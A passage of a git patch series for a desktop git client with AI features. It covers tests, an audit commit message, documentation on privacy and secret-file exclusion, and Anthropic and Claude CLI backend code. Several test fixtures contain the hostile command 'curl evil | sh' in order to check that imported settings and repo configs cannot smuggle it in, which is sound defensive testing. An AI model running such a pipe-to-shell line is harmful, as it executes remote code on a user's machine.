'http:', host: 'h' }, FakeSocket, fetchStub); + const bridge = win.gitgoodBridge as { on(event: string, listener: (payload: unknown) => void): void }; // the script under test installs it + bridge.on('server.connection', (p) => events.push(['server.connection', p])); + bridge.on('server.updated', (p) => events.push(['server.updated', p])); + return events; + } + + it('backs off exponentially up to 30s, resets once connected, and reports connection state', async () => { + vi.useFakeTimers(); + try { + const events = boot('1.0.0'); + const drop = async (expectedDelay: number) => { + const before = FakeSocket.all.length; + FakeSocket.all.at(-1)!.onclose!(); + await vi.advanceTimersByTimeAsync(expectedDelay - 1); + expect(FakeSocket.all.length).toBe(before); + await vi.advanceTimersByTimeAsync(1); + expect(FakeSocket.all.length).toBe(before + 1); + }; + for (const delay of [1000, 2000, 4000, 8000, 16000, 30000, 30000]) await drop(delay); + FakeSocket.all.at(-1)!.onopen!(); + await drop(1000); + // Connection events fire on transitions only: the first drop, the recovery, then the next drop. + expect(events).toEqual([['server.connection', { connected: false }], ['server.connection', { connected: true }], ['server.connection', { connected: false }]]); + } finally { + vi.useRealTimers(); + } + }); + + it('announces a server upgrade on reconnect, not when the version is unchanged', async () => { + vi.useFakeTimers(); + try { + for (const [serverVersion, expected] of [['2.0.0', [['server.updated', { version: '2.0.0' }]]], ['1.0.0', []]] as const) { + const events = boot(serverVersion); + FakeSocket.all[0].onopen!(); + FakeSocket.all[0].onclose!(); + await vi.advanceTimersByTimeAsync(1000); + FakeSocket.all[1].onopen!(); + await vi.advanceTimersByTimeAsync(10); + expect(events.filter(([name]) => name === 'server.updated')).toEqual(expected); + } + } finally { + vi.useRealTimers(); + } }); }); diff --git a/test/settings-sync-core.test.ts b/test/settings-sync-core.test.ts index 48ff7cd..f2a248f 100644 --- a/test/settings-sync-core.test.ts +++ b/test/settings-sync-core.test.ts @@ -61,12 +61,20 @@ describe('buildSettingsExport / the allowlist', () => { expect(out).toHaveLength(1); }); - it('portable preferences carry only the allowlisted ai fields', () => { - const settings: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, hasApiKey: true, claudeCliPath: '/bin/claude', provider: 'claude-cli', model: 'x', effort: 'max' } }; + it('portable preferences carry only the allowlisted ai fields (never the custom agent command)', () => { + const settings: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, hasApiKey: true, claudeCliPath: '/bin/claude', provider: 'claude-cli', model: 'x', effort: 'max', agentCommand: 'custom', agentCustomCommand: 'curl evil | sh # {file}' } }; const prefs = buildPortablePreferences(settings); - expect(prefs.ai).toEqual({ provider: 'claude-cli', model: 'x', effort: 'max', autoStageAfterResolve: settings.ai.autoStageAfterResolve, reviewStrictness: settings.ai.reviewStrictness, reviewMaxFiles: settings.ai.reviewMaxFiles, reviewPostFooter: settings.ai.reviewPostFooter, agentCommand: settings.ai.agentCommand, agentCustomCommand: settings.ai.agentCustomCommand }); - expect((prefs.ai as unknown as Record).hasApiKey).toBeUndefined(); - expect((prefs.ai as unknown as Record).claudeCliPath).toBeUndefined(); + expect(prefs.ai).toEqual({ provider: 'claude-cli', model: 'x', effort: 'max', autoStageAfterResolve: settings.ai.autoStageAfterResolve, reviewStrictness: settings.ai.reviewStrictness, reviewMaxFiles: settings.ai.reviewMaxFiles, reviewPostFooter: settings.ai.reviewPostFooter, agentCommand: 'custom' }); + expect(JSON.stringify(buildSettingsExport({ sections: ['preferences'], settings, repositories: [], appVersion: '1', platform: 'linux' }))).not.toContain('evil'); + }); + + it('an imported agentCustomCommand is ignored and the local one survives', () => { + const result = validateSettingsExport({ schema: 1, app: 'gitgood', version: '1', platform: 'linux', exportedAt: 'x', preferences: { ai: { agentCustomCommand: 'curl evil | sh # {file}' } } }); + expect(result.ok).toBe(true); + if (!result.ok) return; + expect(result.data.preferences?.ai).toBeUndefined(); + const current: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, agentCustomCommand: 'mine {file}' } }; + expect(buildPreferencesPatch(current, result.data.preferences ?? {}, 'replace').ai?.agentCustomCommand).toBe('mine {file}'); }); it('portable integrations carry only editor/shell fields', () => { diff --git a/test/smoke/scenarios/34-agent-review-handoff.json b/test/smoke/scenarios/34-agent-review-handoff.json index 60037e3..ac0de55 100644 --- a/test/smoke/scenarios/34-agent-review-handoff.json +++ b/test/smoke/scenarios/34-agent-review-handoff.json @@ -60,7 +60,7 @@ "shot": "findings.png" }, { - "js": "(async () => { const before = window.__gitgood.store.get().precommitReview.run.id; await window.__gitgood.actions.handleProtocolReviewRerun({ repoPath: __REPO_PATH__ }); for (let i = 0; i < 80; i++) { const s = window.__gitgood.store.get(); if (!s.precommitReview.running && s.precommitReview.run && s.precommitReview.run.id !== before) break; await new Promise((r) => setTimeout(r, 150)); } await new Promise((r) => setTimeout(r, 500)); const s = window.__gitgood.store.get(); const run = s.precommitReview.run; const latest = await window.__gitgood.invoke('ai.review.latest', __REPO_PATH__); const base = __REPO_PATH__ + '/.git/gitgood/review/'; const exists = (p) => window.__gitgood.invoke('app.pathExists', p); return JSON.stringify({ changed: !!run && run.id !== before, latestMatches: !!latest && !!run && latest.id === run.id, oldRunJson: await exists(base + 'runs/' + before + '.json'), newRunJson: run ? await exists(base + 'runs/' + run.id + '.json') : false, findingCount: run ? run.findings.filter((f) => !f.dismissed).length : 0 }); })()", + "js": "(async () => { const before = window.__gitgood.store.get().precommitReview.run.id; await window.__gitgood.actions.handleProtocolReviewRerun({ repoPath: __REPO_PATH__ }); const confirmDialog = window.__gitgood.store.get().dialog; if (!confirmDialog || confirmDialog.kind !== 'confirm') throw new Error('a link without a token must ask for confirmation'); window.__gitgood.store.set({ dialog: null }); await confirmDialog.onConfirm(); for (let i = 0; i < 80; i++) { const s = window.__gitgood.store.get(); if (!s.precommitReview.running && s.precommitReview.run && s.precommitReview.run.id !== before) break; await new Promise((r) => setTimeout(r, 150)); } await new Promise((r) => setTimeout(r, 500)); const s = window.__gitgood.store.get(); const run = s.precommitReview.run; const latest = await window.__gitgood.invoke('ai.review.latest', __REPO_PATH__); const base = __REPO_PATH__ + '/.git/gitgood/review/'; const exists = (p) => window.__gitgood.invoke('app.pathExists', p); return JSON.stringify({ changed: !!run && run.id !== before, latestMatches: !!latest && !!run && latest.id === run.id, oldRunJson: await exists(base + 'runs/' + before + '.json'), newRunJson: run ? await exists(base + 'runs/' + run.id + '.json') : false, findingCount: run ? run.findings.filter((f) => !f.dismissed).length : 0 }); })()", "dump": "rerun.json" }, { diff --git a/test/trust-config.test.ts b/test/trust-config.test.ts new file mode 100644 index 0000000..43362de --- /dev/null +++ b/test/trust-config.test.ts @@ -0,0 +1,45 @@ +import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { createHandlers, type CoreHandlers, type HandlerDeps } from '../src/main/core/handlers'; +import { Store } from '../src/main/store'; + +let dir: string; +let repo: string; +let store: Store; +let handlers: CoreHandlers['handlers']; + +const writeConfig = (command: string) => writeFile(join(repo, '.gitgood', 'config.json'), JSON.stringify({ postResolveCheck: command })); + +beforeEach(async () => { + dir = await mkdtemp(join(tmpdir(), 'gg-trust-')); + repo = join(dir, 'repo'); + await mkdir(join(repo, '.gitgood'), { recursive: true }); + store = new Store(join(dir, 'data')); + store.load(); + handlers = createHandlers({ store, nlPalette: { setDispatcher: () => undefined } } as unknown as HandlerDeps).handlers; +}); + +afterEach(() => rm(dir, { recursive: true, force: true })); + +describe('repo.trustConfig', () => { + it('trusts the command the user was shown', async () => { + await writeConfig('npm test'); + expect(await handlers['repo.trustConfig'](repo, true, 'npm test')).toEqual({ ok: true }); + expect((await handlers['repo.checkConfig'](repo)).trustState).toBe('trusted'); + }); + + it('refuses when the config changed after the dialog was shown, and returns the current command', async () => { + await writeConfig('npm test'); + await writeConfig('curl evil | sh'); + expect(await handlers['repo.trustConfig'](repo, true, 'npm test')).toEqual({ ok: false, command: 'curl evil | sh' }); + expect((await handlers['repo.checkConfig'](repo)).trustState).toBe('unknown'); + }); + + it('still records a decline whatever the file says now', async () => { + await writeConfig('other'); + expect(await handlers['repo.trustConfig'](repo, false, 'npm test')).toEqual({ ok: true }); + expect((await handlers['repo.checkConfig'](repo)).trustState).toBe('declined'); + }); +}); diff --git a/test/update-core.test.ts b/test/update-core.test.ts index f7e6ab5..3761df4 100644 --- a/test/update-core.test.ts +++ b/test/update-core.test.ts @@ -161,8 +161,12 @@ describe('detectDisabledReason', () => { expect(detectDisabledReason({ ...packaged, platform: 'darwin' })).toMatch(/unsigned/i); }); - it('allows a packaged, non-portable, non-AppImage, non-macOS build through', () => { - expect(detectDisabledReason(packaged)).toBeNull(); + it('disables a packaged Linux run that is not an AppImage (.deb)', () => { + expect(detectDisabledReason(packaged)).toMatch(/\.deb/); + }); + + it('allows a packaged Windows build through', () => { + expect(detectDisabledReason({ ...packaged, platform: 'win32' })).toBeNull(); }); }); From dd3dab94a7d9bf3580a3a64912ff37cd01175afd Mon Sep 17 00:00:00 2001 From: Erwin Wee Date: Thu, 1 Oct 2026 20:51:39 +0800 Subject: [PATCH 02/17] =?UTF-8?q?feat:=20audit=20wave=202=20=E2=80=94=20AI?= =?UTF-8?q?=20infrastructure,=20AI=20settings,=20UX/perf=20and=20small=20f?= =?UTF-8?q?eatures?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit AI (audit #16, #17, #32-37): - ai.cancel(feature) cancels only that feature, and in server mode only the calling client's job; backend copy is feature-neutral. - Per-feature token usage (incl. cache reads, CLI cost when reported) kept in a machine-local ai-usage.json and shown in Options -> AI. - Prompt caching: cached system prompt and shared review context block. - Per-feature model overrides (modelFor), OpenAI-compatible provider (json_schema with json_object fallback, key stored like the Anthropic key). - Secret-shaped files are never uploaded; secret patterns scrubbed from read-only AI inputs (not conflict resolution). - Per-repository AI opt-out (context menu toggle or .gitgood/config.json "ai": false), enforced centrally in main; ai.cancel is never blocked. - Resolver and suggestion writes go through the symlink-safe repo writer; repo.readFile/writeFile refuse symlinked leaves. UX / performance (#18, #21, #22, #25, #26): - git/gh minimum versions checked (2.30 / 2.40) with Setup note + banner. - Heavy dialogs/views lazy-loaded and highlight.js grammars loaded on demand: main renderer chunk 931 kB -> 635 kB (58 chunks). - `gitgood ` opens or adds the repository; folders can be dropped onto the window to add them (desktop). - Commit summary keystroke measured at 0.4 ms median with 2,500 changed files, so it stays in the store. Features (#45, #47, #48, #50-52): Compare "Files changed", PR auto-merge, commit sign-off / skip hooks / commit.template prefill, external diff and merge tools, clone options (depth, single branch, blobless, sparse, submodules), pinned repositories and custom groups. Also: agent-review-handoff smoke scenario uses the quoted "{file}" template. --- README.md | 2 +- docs/AI-FEATURES.md | 9 ++ src/main/ai/backends.ts | 86 +++++++---- src/main/ai/error-explain.ts | 11 +- src/main/ai/explain.ts | 26 +++- src/main/ai/nlPalette.ts | 11 +- src/main/ai/openai-backend.ts | 99 ++++++++++++ src/main/ai/prDraft.ts | 17 +- src/main/ai/prompts.ts | 13 +- src/main/ai/provider.ts | 39 ++++- src/main/ai/rebasePlan.ts | 11 +- src/main/ai/release-notes.ts | 13 +- src/main/ai/repo-guard.ts | 26 ++++ src/main/ai/resolve-examples.ts | 4 +- src/main/ai/resolver.ts | 99 +++++++----- src/main/ai/review-core.ts | 8 +- src/main/ai/review.ts | 48 +++--- src/main/ai/splitter.ts | 17 +- src/main/ai/triage.ts | 13 +- src/main/ai/usage.ts | 64 ++++++++ src/main/argv.ts | 25 +++ src/main/client.ts | 2 +- src/main/core/client-context.ts | 16 ++ src/main/core/handlers.ts | 82 +++++++--- src/main/gh/gh.ts | 24 ++- src/main/git/commit.ts | 37 ++++- src/main/git/diff.ts | 15 +- src/main/git/external-tools.ts | 37 +++++ src/main/git/log.ts | 5 + src/main/git/operations.ts | 38 ++++- src/main/index.ts | 23 ++- src/main/repo/config.ts | 8 +- src/main/repo/manager.ts | 15 ++ src/main/repo/paths.ts | 16 +- src/main/settings/sync-core.ts | 23 ++- src/main/store.ts | 31 +++- src/main/tools.ts | 12 +- src/preload/api.d.ts | 2 + src/preload/index.ts | 4 +- src/renderer/src/App.tsx | 23 ++- src/renderer/src/components/Banners.tsx | 31 +++- src/renderer/src/components/ChangesTab.tsx | 22 ++- .../src/components/CommandPalette.tsx | 4 +- src/renderer/src/components/DropZone.tsx | 77 +++++++++ src/renderer/src/components/HistoryTab.tsx | 7 +- src/renderer/src/components/Setup.tsx | 10 +- src/renderer/src/components/Toolbar.tsx | 36 ++++- .../src/components/dialogs/BranchDialogs.tsx | 80 +++++++++- .../src/components/dialogs/CommitDialogs.tsx | 4 +- .../components/dialogs/ConflictsDialog.tsx | 7 +- .../src/components/dialogs/GitHubDialogs.tsx | 18 ++- .../components/dialogs/ReleaseNotesDialog.tsx | 9 +- .../src/components/dialogs/RepoDialogs.tsx | 40 ++++- .../src/components/dialogs/ReviewDialogs.tsx | 4 +- .../src/components/dialogs/SettingsDialog.tsx | 121 ++++++++++++++- src/renderer/src/components/dialogs/index.tsx | 40 +++-- .../src/components/diff/ConflictDiff.tsx | 11 +- src/renderer/src/components/diff/DiffPane.tsx | 5 +- src/renderer/src/components/diff/TextDiff.tsx | 6 +- .../src/components/review/ReviewView.tsx | 4 +- src/renderer/src/lib/highlight.ts | 146 ++++++++++-------- src/renderer/src/lib/lazy.ts | 6 + src/renderer/src/state/actions.ts | 85 ++++++++-- src/renderer/src/state/agentHandoff.ts | 7 +- src/renderer/src/state/nlPalette.ts | 2 +- src/renderer/src/state/precommitReview.ts | 5 +- src/renderer/src/state/rebase.ts | 5 +- src/renderer/src/state/review.ts | 5 +- src/renderer/src/state/split.ts | 5 +- src/renderer/src/state/store.ts | 11 +- src/renderer/src/styles/layout.css | 28 ++++ src/server/index.ts | 2 + src/server/limits.ts | 2 +- src/server/security.ts | 2 +- src/server/web-bridge.ts | 1 + src/shared/ai-model.ts | 25 +++ src/shared/ipc.ts | 26 +++- src/shared/secrets.ts | 41 ++++- src/shared/types.ts | 73 ++++++++- src/shared/util.ts | 3 + test/ai-model.test.ts | 39 +++++ test/ai-usage-cancel.test.ts | 143 +++++++++++++++++ test/argv.test.ts | 32 ++++ test/clone-args.test.ts | 35 +++++ test/fixture/git-commit-options.test.ts | 81 ++++++++++ test/fixture/tools.test.ts | 23 ++- test/gh-pr-merge.test.ts | 26 ++++ test/openai-backend.test.ts | 114 ++++++++++++++ test/openai-key-store.test.ts | 52 +++++++ test/repo-ai-guard.test.ts | 40 +++++ test/repo-config.test.ts | 24 +-- test/repo-file-safety.test.ts | 2 +- test/secret-files.test.ts | 80 ++++++++++ test/settings-sync-core.test.ts | 34 +++- .../scenarios/34-agent-review-handoff.json | 4 +- test/triage-service.test.ts | 1 + test/triage.test.ts | 1 + 97 files changed, 2410 insertions(+), 391 deletions(-) create mode 100644 src/main/ai/openai-backend.ts create mode 100644 src/main/ai/repo-guard.ts create mode 100644 src/main/ai/usage.ts create mode 100644 src/main/argv.ts create mode 100644 src/main/git/external-tools.ts create mode 100644 src/renderer/src/components/DropZone.tsx create mode 100644 src/renderer/src/lib/lazy.ts create mode 100644 src/shared/ai-model.ts create mode 100644 test/ai-model.test.ts create mode 100644 test/ai-usage-cancel.test.ts create mode 100644 test/argv.test.ts create mode 100644 test/clone-args.test.ts create mode 100644 test/fixture/git-commit-options.test.ts create mode 100644 test/gh-pr-merge.test.ts create mode 100644 test/openai-backend.test.ts create mode 100644 test/openai-key-store.test.ts create mode 100644 test/repo-ai-guard.test.ts create mode 100644 test/secret-files.test.ts diff --git a/README.md b/README.md index df21e1f..404ea21 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ It also adds **one-click AI merge conflict resolution** powered by Claude: pick Everything you expect from GitHub Desktop, mapped onto `git`/`gh`: -- **Repositories**: clone from your GitHub repositories (personal, collaborator and organization repos) or any URL, create new repositories with README/.gitignore/license templates, add existing ones, aliases, remove (optionally to the Recycle Bin), grouped repository list with ahead/behind indicators. +- **Repositories**: clone from your GitHub repositories (personal, collaborator and organization repos) or any URL (optionally shallow, single-branch, blobless or sparse, with or without submodules), create new repositories with README/.gitignore/license templates, add existing ones, aliases, remove (optionally to the Recycle Bin), repository list with pinned repos, custom groups (this computer only), owner groups and ahead/behind indicators. - **Watched folders** (Options → Git): register the folders you keep your clones in and every Git repository inside them is added for you, instead of adding each one by hand. Each folder has its own scan depth (default 3, so `~/Projects//` is found), and scans skip `node_modules`, `vendor`, `dist`, dot-directories and symlinks, never descend into a repository, and ignore bare repositories. Folders are scanned when GitGood starts, when you change them, and on **Rescan now** (File → Rescan Watched Folders) — there is no continuous watching, so a repository cloned from a terminal appears after the next scan. Discovered repositories that vanish from disk drop off the list; removing a repository that lives in a watched folder remembers it so scans do not add it back, with the remembered paths listed and clearable. Watched folders stay on the machine and are never part of a settings export. - **Worktrees** (Repository menu or `Ctrl+Shift+W`): list every worktree of the current repository with badges for main/locked/prunable and uncommitted changes; add one for an existing branch, a new branch, or a detached commit; open, show in the file manager, open in editor/terminal, lock/unlock, remove (with a second confirmation for dirty worktrees) and prune stale entries. Worktrees appear nested under their main repository in the repository list, each with its own ahead/behind indicator; checking out a branch already active in another worktree offers to open it instead. - **Submodules** (Repository menu): a dialog lists every submodule (including nested ones) with its state — up to date, not initialized, modified, differs from recorded, conflicted or missing — plus recorded/checked-out commits and resolved URL; initialize and update all, update or open an individual submodule as its own nested repository, sync URLs, and show in the file manager. A banner after cloning or opening a repository offers to initialize any uninitialized submodules, and the diff pane's submodule summary gains **Update to recorded commit** and **Open submodule**. diff --git a/docs/AI-FEATURES.md b/docs/AI-FEATURES.md index 81dfe89..85af546 100644 --- a/docs/AI-FEATURES.md +++ b/docs/AI-FEATURES.md @@ -9,7 +9,9 @@ Configure under **Options → AI**: - **Provider** - *Anthropic API*: paste an API key. It is stored encrypted with the operating system's credential store (DPAPI on Windows, Keychain on macOS) via Electron `safeStorage`. Without a stored key, the SDK falls back to the `ANTHROPIC_API_KEY` environment variable or an `ant auth login` profile. - *Claude Code CLI*: reuses your existing `claude` sign-in and plan; no key required. Runs `claude -p` headless with tools disabled and a JSON schema for the output. + - *OpenAI-compatible server*: any server that implements `POST {base URL}/chat/completions` (OpenAI, Azure-style gateways, OpenRouter, Ollama, LM Studio, vLLM…). Set the **Base URL** including the version path (e.g. `https://api.openai.com/v1`, `http://localhost:11434/v1`), a model name and, if the server wants one, an API key (stored encrypted exactly like the Anthropic key; optional for local servers). Requests ask for strict `json_schema` output and, when the server rejects that response format, are retried once in `json_object` mode with the schema spelled out in the system prompt. **Test connection** works for it too. The base URL and model are included in settings export and sync; the key never is, and importing a file that changes the base URL removes the stored key so a file cannot redirect it. - **Model**: defaults to `claude-opus-5`. Claude Fable 5.1, Sonnet 5, Opus 4.8 and Haiku 4.5 are offered as presets; any model ID can be typed. + - **Model per feature** (collapsed under the model row): every feature (conflict resolution, commit messages, review, splitting, triage, PR drafts, rebase assistant, release notes, explain, error explanation, command palette) can use its own model; an empty field uses the model above. Overrides are part of settings export and sync. - **Effort**: `low` … `max` (default `high`). How a resolution works: GitGood parses the conflict markers (including `diff3`/`zdiff3` base sections), sends each conflict block with 40 lines of surrounding context, the merge/rebase context and the recent commit subjects on both sides, and requests a structured JSON answer with one resolution and a one-sentence rationale per block. It validates that no markers remain, rewrites the file preserving line endings, and (by default, and only when any configured post-resolution check passes) runs `git add`. **Undo** restores the original conflicted content via `git update-index --unresolve`. @@ -112,3 +114,10 @@ The error dialog gains a collapsed **Explain with AI** row (hidden for errors wi - **Previews before you run anything**: a reset shows the commits that would be uncommitted, a discard shows the affected files, a branch delete shows whether it's merged, a rebase shows what would be replayed, and a force-with-lease push shows the ahead/behind count — each recomputed against the live repository, with references re-verified immediately before showing. - **Nothing runs before you click Run plan**, and destructive steps still open GitGood's normal confirmation dialogs; cancelling stops the plan and keeps whatever already completed. Every executed step is written to the application log with its arguments and exit code. - One clarifying question is allowed when a request is ambiguous; the session keeps the last 20 plans (with a **Copy commands** action) in memory only. + +## Privacy: what is sent, and what never is + +- **Secret-shaped files are never uploaded.** `.env` / `.env.*` (but not `.env.example`, `.sample`, `.template`, `.dist`), `*.pem`, `*.key`, `*.p12`, `*.pfx`, `id_rsa*` / `id_ed25519*` (not `.pub`), `.netrc`, `credentials*.json`, and `.npmrc` / `.pypirc` that contain credentials are left out of every AI request — conflict resolution (and its manual-resolution examples), reviews, pre-commit review, commit messages, splitting, PR drafts, explain and the rebase assistant. Where there is a place to show it, the skip reason is visible: a skipped file in the review pre-flight, an excluded file in the split pre-flight, a toast after a commit message or PR draft, an error when you explain such a file. The list is deliberately short; a secret in an ordinary file is not detected by path. +- **Known token shapes are masked in the text** of every read-only feature before it is sent (GitHub tokens, Anthropic and OpenAI-style `sk-` keys, AWS access key ids, bearer tokens, `user:password@` URLs), so a pasted credential in a diff does not leave the machine. Conflict resolution is the exception: its text is written back into your file, so it is sent unmodified (secret-shaped files are still excluded). +- **Per-repository opt-out.** *Disable AI for this repository* in the repository list's context menu is a machine-local switch (not exported or synced); a committed `.gitgood/config.json` with `{ "ai": false }` switches AI off for everyone who clones the repository. While either is set, every `ai.*` request for that repository is refused in the main process and AI actions are hidden in the interface. +- Where prompts go depends on the provider: Anthropic's API, your local Claude Code, or the OpenAI-compatible server you configured. Sending to a remote OpenAI-compatible server shares the same content with that operator. diff --git a/src/main/ai/backends.ts b/src/main/ai/backends.ts index 6885e81..12808cd 100644 --- a/src/main/ai/backends.ts +++ b/src/main/ai/backends.ts @@ -1,12 +1,15 @@ import Anthropic from '@anthropic-ai/sdk'; import { tmpdir } from 'node:os'; -import type { EffortLevel } from '@shared/types'; +import type { AiUsage, EffortLevel } from '@shared/types'; +import { scrubSecrets } from '@shared/secrets'; import { ExecError, exec } from '../exec'; import { log } from '../logger'; export interface AiRequest { system: string; prompt: string; + /** Leading part of the user message that is identical across a run's requests (e.g. the PR context of a per-file review). Sent first as a cache-marked block; the full text is `sharedPrompt + '\n\n' + prompt`. */ + sharedPrompt?: string; schema: Record; model: string; effort: EffortLevel; @@ -17,10 +20,12 @@ export interface AiRequest { export interface AiResponse { json: unknown; model: string; + /** Token usage as reported by the backend; absent when it reports none. */ + usage?: AiUsage; } export interface AiBackend { - readonly name: 'anthropic' | 'claude-cli'; + readonly name: 'anthropic' | 'claude-cli' | 'openai-compatible'; complete(req: AiRequest): Promise; } @@ -31,7 +36,19 @@ export class AiError extends Error { } } -function extractJson(text: string): unknown { +/** + * Masks known secret shapes in the user-message text before it leaves the machine. Used for every + * read-only feature; never for the conflict resolver, whose output is written back to the file and + * so must see (and return) the real content. + */ +export function withScrubbing(backend: AiBackend): AiBackend { + return { + name: backend.name, + complete: (req) => backend.complete({ ...req, prompt: scrubSecrets(req.prompt), sharedPrompt: req.sharedPrompt === undefined ? undefined : scrubSecrets(req.sharedPrompt) }), + }; +} + +export function extractJson(text: string): unknown { const trimmed = text.trim(); try { return JSON.parse(trimmed); @@ -55,6 +72,32 @@ function supportsServerFallbacks(model: string): boolean { return /claude-(opus-5|fable|mythos)/i.test(model); } +/** Request body for the Anthropic API. The system prompt and the shared leading prompt block carry `cache_control` so repeated calls of one run read them from the prompt cache. */ +export function buildAnthropicParams(req: AiRequest) { + const adaptive = supportsAdaptiveThinking(req.model); + const fallbacks = supportsServerFallbacks(req.model) ? { betas: ['server-side-fallback-2026-07-01' as const], fallbacks: 'default' as const } : {}; + const thinking = adaptive ? { thinking: { type: 'adaptive' as const } } : {}; + const cache = { type: 'ephemeral' as const }; + const content = req.sharedPrompt + ? [ + { type: 'text' as const, text: `${req.sharedPrompt}\n\n`, cache_control: cache }, + { type: 'text' as const, text: req.prompt }, + ] + : req.prompt; + return { + model: req.model, + max_tokens: 64000, + system: [{ type: 'text' as const, text: req.system, cache_control: cache }], + messages: [{ role: 'user' as const, content }], + output_config: { + format: { type: 'json_schema' as const, schema: req.schema }, + ...(adaptive ? { effort: req.effort } : {}), + }, + ...thinking, + ...fallbacks, + }; +} + /** * Anthropic API backend. Uses streaming so long resolutions never hit HTTP * timeouts, structured JSON output so the result parses reliably, and the @@ -69,38 +112,21 @@ export class AnthropicBackend implements AiBackend { async complete(req: AiRequest): Promise { const client = new Anthropic({ apiKey: this.apiKey ?? undefined, timeout: 20 * 60 * 1000, maxRetries: 2 }); req.onProgress?.('Contacting Claude…'); - const adaptive = supportsAdaptiveThinking(req.model); - const fallbacks = supportsServerFallbacks(req.model) ? { betas: ['server-side-fallback-2026-07-01' as const], fallbacks: 'default' as const } : {}; - const thinking = adaptive ? { thinking: { type: 'adaptive' as const } } : {}; try { - const stream = client.beta.messages.stream( - { - model: req.model, - max_tokens: 64000, - system: req.system, - messages: [{ role: 'user', content: req.prompt }], - output_config: { - format: { type: 'json_schema', schema: req.schema }, - ...(adaptive ? { effort: req.effort } : {}), - }, - ...thinking, - ...fallbacks, - }, - { signal: req.signal }, - ); + const stream = client.beta.messages.stream(buildAnthropicParams(req), { signal: req.signal }); let started = false; stream.on('text', () => { if (!started) { started = true; - req.onProgress?.('Writing resolution…'); + req.onProgress?.('Writing response…'); } }); const message = await stream.finalMessage(); if (message.stop_reason === 'refusal') { const category = message.stop_details?.type === 'refusal' ? message.stop_details.category : null; - throw new AiError(`Claude declined to resolve this file${category ? ` (${category})` : ''}. Resolve it manually or try a different model.`, 'refusal'); + throw new AiError(`Claude declined this request${category ? ` (${category})` : ''}. Try a different model or adjust the request.`, 'refusal'); } - if (message.stop_reason === 'max_tokens') throw new AiError('The response was too long and was cut off. Try resolving fewer conflicts at once.', 'truncated'); + if (message.stop_reason === 'max_tokens') throw new AiError('The response was too long and was cut off. Try again with a smaller selection.', 'truncated'); const text = message.content .filter((b): b is Anthropic.Beta.Messages.BetaTextBlock => b.type === 'text') .map((b) => b.text) @@ -108,7 +134,9 @@ export class AnthropicBackend implements AiBackend { const servedBy = message.model; const fellBack = (message.usage.iterations ?? []).some((it) => it.type === 'fallback_message'); if (fellBack) log.info(`AI request served by fallback model ${servedBy}`); - return { json: extractJson(text), model: servedBy }; + const u = message.usage; + const usage: AiUsage = { inputTokens: u.input_tokens, outputTokens: u.output_tokens, cacheReadTokens: u.cache_read_input_tokens ?? 0, cacheWriteTokens: u.cache_creation_input_tokens ?? 0, costUsd: null }; + return { json: extractJson(text), model: servedBy, usage }; } catch (err) { if (err instanceof AiError) throw err; if (req.signal?.aborted) throw new AiError('Cancelled', 'cancelled'); @@ -141,9 +169,9 @@ export class ClaudeCliBackend implements AiBackend { delete env.CLAUDECODE; delete env.CLAUDE_CODE_ENTRYPOINT; try { - const res = await exec(this.cliPath, args, { cwd: tmpdir(), env, stdin: req.prompt, signal: req.signal, timeoutMs: 20 * 60 * 1000, okExitCodes: [1] }); + const res = await exec(this.cliPath, args, { cwd: tmpdir(), env, stdin: req.sharedPrompt ? `${req.sharedPrompt}\n\n${req.prompt}` : req.prompt, signal: req.signal, timeoutMs: 20 * 60 * 1000, okExitCodes: [1] }); const text = res.stdout.trim(); - let parsed: { is_error?: boolean; result?: string; structured_output?: unknown; subtype?: string } | null = null; + let parsed: { is_error?: boolean; result?: string; structured_output?: unknown; subtype?: string; total_cost_usd?: number; usage?: { input_tokens?: number; output_tokens?: number; cache_read_input_tokens?: number; cache_creation_input_tokens?: number } } | null = null; try { parsed = JSON.parse(text.slice(text.indexOf('{'))); } catch { @@ -157,7 +185,9 @@ export class ClaudeCliBackend implements AiBackend { } const json = parsed.structured_output ?? (parsed.result ? extractJson(parsed.result) : null); if (json === null || json === undefined) throw new AiError('Claude Code returned no structured output.', 'invalid-output'); - return { json, model: req.model }; + const u = parsed.usage; + const usage: AiUsage | undefined = u || parsed.total_cost_usd !== undefined ? { inputTokens: u?.input_tokens ?? 0, outputTokens: u?.output_tokens ?? 0, cacheReadTokens: u?.cache_read_input_tokens ?? 0, cacheWriteTokens: u?.cache_creation_input_tokens ?? 0, costUsd: parsed.total_cost_usd ?? null } : undefined; + return { json, model: req.model, usage }; } catch (err) { if (err instanceof AiError) throw err; if (req.signal?.aborted) throw new AiError('Cancelled', 'cancelled'); diff --git a/src/main/ai/error-explain.ts b/src/main/ai/error-explain.ts index c0b2f30..60c935b 100644 --- a/src/main/ai/error-explain.ts +++ b/src/main/ai/error-explain.ts @@ -11,6 +11,7 @@ import { rm, stat } from 'node:fs/promises'; import { join } from 'node:path'; import type { ErrorExplanation, GitErrorInfo } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { exec } from '../exec'; import { FIX_ACTIONS } from './fixActions'; import type { GitClient } from '../git/git'; @@ -20,6 +21,7 @@ import { log } from '../logger'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError } from './backends'; +import { cancelOwned, ownedController } from '../core/client-context'; import { createBackend } from './provider'; import { scrubSecrets } from '@shared/secrets'; import { buildErrorExplainPrompt, ERROR_EXPLAIN_SCHEMA, ERROR_EXPLAIN_SYSTEM_PROMPT, type ErrorExplainRemote } from './prompts'; @@ -34,8 +36,7 @@ export class ErrorExplainService { constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + if (cancelOwned(this.controller)) this.controller = null; } /** True while an explanation request is in flight; used by the update install gate alongside the other AI services. */ @@ -44,8 +45,8 @@ export class ErrorExplainService { } async explainError(repoPath: string | null, error: GitErrorInfo, retryable: boolean): Promise { - const { backend, settings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); + const { backend, settings } = await createBackend(this.store, this.tools, 'errorExplain'); + const controller = ownedController(); this.controller = controller; try { const hasRepo = repoPath !== null; @@ -89,7 